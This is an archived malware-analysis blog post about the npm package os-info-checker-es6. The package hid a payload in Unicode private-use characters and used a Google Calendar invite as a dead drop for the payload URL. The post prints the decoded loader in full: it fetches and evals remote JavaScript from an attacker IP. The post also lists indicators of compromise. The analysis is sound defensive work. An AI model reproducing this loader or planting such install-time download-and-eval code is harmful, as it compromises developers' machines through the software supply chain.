{
	"id": "c0e4b52d-e579-46cf-a36f-e2b1ac538921",
	"created_at": "2026-04-29T02:20:46.108053Z",
	"updated_at": "2026-04-29T08:23:11.708532Z",
	"deleted_at": null,
	"sha1_hash": "e1792bc1837e10f2104ffc3dd08671c12fdc0270",
	"title": "You're Invited: Delivering malware via Google Calendar invites and PUAs",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 260436,
	"plain_text": "You're Invited: Delivering malware via Google Calendar invites\r\nand PUAs\r\nBy Charlie Eriksen\r\nPublished: 2025-05-13 · Archived: 2026-04-29 02:11:31 UTC\r\nOn March 19th, 2025, we discovered a package called os-info-checker-es6 and were taken aback. We could\r\ntell it was not doing what it said on the tin. But what's the deal? We decided to investigate the matter and initially\r\nhit some dead ends. But patience pays off, and we eventually got most of the answers we sought. We also learned\r\nabout Unicode PUAs (No, not pick-up artists). It was a roller coaster ride of emotions!\r\nWhat is the package?\r\nThe package doesn’t give many clues due to the lack of a README file. Here’s what the package looks like on\r\nnpm:\r\nNot very informative. But it sounds like it fetches system information. Lets march on. \r\nSmelly code gives it away\r\nOur analysis pipeline immediately raised many red flags from the package's preinstall.js file due to the\r\npresence of an eval() call with base64-encoded input. \r\nhttps://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas\r\nPage 1 of 8\n\nWe see the eval(atob(...)) call. That means “Decode a base64 string and evaluate it,” i.e., execute arbitrary\r\ncode. That’s never a good sign. But what’s the input? \r\nThe input is a string that results from calling decode() on a native Node module shipped with the package. The\r\ninput to that function looks like… Just a | ?! What? \r\nWe’ve got several big questions here:\r\n1. What is the decode function doing?\r\n2. What does decoding have to do with checking OS information?\r\n3. Why is it eval() ’ing it? \r\n4. Why is the only input to it a | ?\r\nLet's go deeper\r\nWe decided to reverse engineer the binary. It’s a small Rust binary that doesn't do much. We initially expected to\r\nsee some calls to functions to get OS information, but we saw NOTHING. We thought perhaps the binary was\r\nhttps://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas\r\nPage 2 of 8\n\nhiding more secrets, providing the answer to our first question. More on that later.\r\nBut then, what is up with the input to the function being just a | ? Here’s where things get interesting. That’s not\r\nthe actual input. We copied the code into another editor, and what we see is:\r\nWomp-womp! They almost got away with it. What we see is called Unicode “Private Use Access” characters.\r\nThese are unassigned codes in the Unicode standard, which is reserved for private use that people can use to\r\ndefine their own symbols for their application. They are inherently unprintable, as they mean nothing inherently. \r\nIn this case, the decode call into the native Node binary decodes those bytes into base64 encoded ASCII\r\ncharacters. Very clever!\r\nLet's take it for a spin\r\nSo, we decided to examine the actual code. Luckily, it saves the code it ran into a file run.txt. And it’s just this:\r\nconsole.log('Check');\r\nThat’s super uninteresting. What are they up to? Why are they going to all this effort to hide this code? We were\r\nstunned. \r\nBut then…\r\nWe started seeing published packages that depended on this package, one of them being from the same author.\r\nThey were:\r\nskip-tot (March 19th, 2025)\r\nIt is a copy of the package vue-skip-to .\r\nvue-dev-serverr (March 31st, 2025)\r\nIt is a copy of the repo https://github.com/guru-git-man/first.\r\nvue-dummyy (April 3rd, 2025)\r\nhttps://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas\r\nPage 3 of 8\n\nIt is a copy of the package vue-dummy .\r\nvue-bit (April 3rd, 2025)\r\nIs pretending to be the package @teambit/bvm .\r\nHas no actual code in it.\r\nThey all have in common that they add os-info-checker-es6 as a dependency but never call the decode\r\nfunction. What a disappointment. We’re none the wiser about what the attackers were hoping to do. Nothing\r\nhappened for a while until the os-info-checker-es6 package was updated again after a long pause.\r\nFINALLY\r\nThis case had been at the back of my mind for a while. It didn’t make sense. What were they trying to do? Did I\r\nmiss something obvious when decompiling the native Node module? Why would an attacker burn this novel\r\ncapability so soon? The answer came on May 7th, 2025, when a new version of os-info-checker-es6 , version\r\n1.0.8 , came out. The preinstall.js has changed. \r\nOh look, the obfuscated string is much longer!  But the eval call is commented out. So even if a malicious\r\npayload exists in the obfuscated string, it wouldn’t be executed. What? We ran the decoder in a sandbox and\r\nprinted out the decoded string. Here it is after a bit of prettifying and manual annotations:\r\nconst https = require('https');\r\nconst fs = require('fs');\r\n/**\r\n * Extract the first capture group that matches the pattern:\r\n * ${attrName}=\"([^\\\"]*)\"\r\n */\r\nhttps://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas\r\nPage 4 of 8\n\nconst ljqguhblz = (html, attrName) =\u003e {\r\n const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // =\"([^\"]*)\"\r\n return html.match(regex)[1];\r\n};\r\n/**\r\n * Stage-1: fetch a Google-hosted bootstrap page, follow redirects and\r\n * pull the base-64-encoded payload URL from its data-attribute.\r\n */\r\nconst krswqebjtt = async (url, cb) =\u003e {\r\n try {\r\n const res = await fetch(url);\r\n if (res.ok) {\r\n // Handle HTTP 30x redirects manually so we can keep extracting headers.\r\n if (res.status !== 200) {\r\n const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'\r\n return krswqebjtt(redirect, cb);\r\n }\r\n const body = await res.text();\r\n cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'\r\n } else {\r\n cb(new Error(`HTTP status ${res.status}`));\r\n }\r\n } catch (err) {\r\n console.log(err);\r\n cb(err);\r\n }\r\n};\r\n/**\r\n * Stage-2: download the real payload plus.\r\n */\r\nconst ymmogvj = async (url, cb) =\u003e {\r\n try {\r\n const res = await fetch(url);\r\n if (res.ok) {\r\n const body = await res.text();\r\n const h = res.headers;\r\n cb(null, {\r\n acxvacofz : body, // base-64 JS payload\r\n yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'\r\n secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'\r\n });\r\n } else {\r\nhttps://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas\r\nPage 5 of 8\n\ncb(new Error(`HTTP status ${res.status}`));\r\n }\r\n } catch (err) {\r\n cb(err);\r\n }\r\n};\r\n/**\r\n * Orchestrator: keeps trying the two stages until a payload is successfully executed.\r\n */\r\nconst mygofvzqxk = async () =\u003e {\r\n await krswqebjtt(\r\n atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUU\r\n async (err, link) =\u003e {\r\n if (err) {\r\n console.log('cjnilxo');\r\n await new Promise(r =\u003e setTimeout(r, 1000));\r\n return mygofvzqxk();\r\n }\r\n await ymmogvj(\r\n atob(link),\r\n async (err, { acxvacofz, yxajxgiht, secretKey }) =\u003e {\r\n if (err) {\r\n console.log('cjnilxo');\r\n await new Promise(r =\u003e setTimeout(r, 1000));\r\n return mygofvzqxk();\r\n }\r\n if (acxvacofz.length === 20) {\r\n return eval(atob(acxvacofz));\r\n }\r\n // Execute attacker-supplied code with current user privileges.\r\n eval(atob(acxvacofz));\r\n }\r\n );\r\n }\r\n );\r\n};\r\n/* ---------- single-instance lock ---------- */\r\nconst gsmli = `${process.env.TEMP}\\\\pqlatt`;\r\nif (fs.existsSync(gsmli)) process.exit(1);\r\nfs.writeFileSync(gsmli, '');\r\nprocess.on('exit', () =\u003e fs.unlinkSync(gsmli));\r\nhttps://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas\r\nPage 6 of 8\n\n/* ---------- kick it all off ---------- */\r\nmygofvzqxk();\r\n/* ---------- resilience ---------- */\r\nlet yyzymzi = 0;\r\nprocess.on('uncaughtException', async (err) =\u003e {\r\n console.log(err);\r\n fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));\r\n if (++yyzymzi \u003e 10) process.exit(0);\r\n await new Promise(r =\u003e setTimeout(r, 1000));\r\n mygofvzqxk();\r\n});\r\nDid you see the URL to Google Calendar in the orchestrator? That’s an interesting thing to see in malware. Very\r\nexciting. \r\nHere’s what the link looks like:\r\nA calendar invite with a base64 encoded string as the title. Beautiful! The pizza profile photo made me hope that\r\nmaybe it was an invitation to a pizza party, but the event is scheduled for June 7th, 2027. I can’t wait that long for\r\npizza. I’ll take another base64 encoded string though. Here’s what it decodes to:\r\nhttps://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas\r\nPage 7 of 8\n\nhttp://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D\r\nAt a dead end.. again\r\nThis investigation has been full of ups and downs. We thought things were at a dead end, only for signs of life to\r\nappear again. We got so close to figuring out the developer's REAL malicious intent, but we didn’t quite make it.\r\nMake no mistake—this was a novel approach to obfuscation. You’d think that anybody who would put in the time\r\nand effort to do something like this would use the capabilities they have developed. Instead, they seem to have\r\ndone nothing with it, showing their hand. \r\nAs a result, our analysis engine now detects patterns like this, where an attacker tries to hide data in unprintable\r\ncontrol characters. It’s another case where trying to be clever, rather than making it harder to detect, actually\r\ncreates more signal. Because it’s so unusual that it sticks out and waves a big sign saying “I AM UP TO NO\r\nGOOD”. Keep up the great work. 👍\r\nIndicators of compromise\r\nPackages\r\nos-info-checker-es6\r\nskip-tot\r\nvue-dev-serverr\r\nvue-dummyy\r\nvue-bit\r\nIPs\r\n140.82.54[.]223\r\nURLs\r\nhttps://calendar.app[.]google/t56nfUUcugH9ZUkx9\r\nAcknowledgement\r\nDuring this investigation, we were helped by our great friends at Vector35, who provided us with a trial license for\r\ntheir Binary Ninja tool to ensure we fully understood the native Node module. Big thank you to the team there for\r\ntheir great product. 👏\r\nSource: https://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas\r\nhttps://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas"
	],
	"report_names": [
		"youre-invited-delivering-malware-via-google-calendar-invites-and-puas"
	],
	"threat_actors": [],
	"ts_created_at": 1777429246,
	"ts_updated_at": 1777450991,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e1792bc1837e10f2104ffc3dd08671c12fdc0270.pdf",
		"text": "https://archive.orkl.eu/e1792bc1837e10f2104ffc3dd08671c12fdc0270.txt",
		"img": "https://archive.orkl.eu/e1792bc1837e10f2104ffc3dd08671c12fdc0270.jpg"
	}
}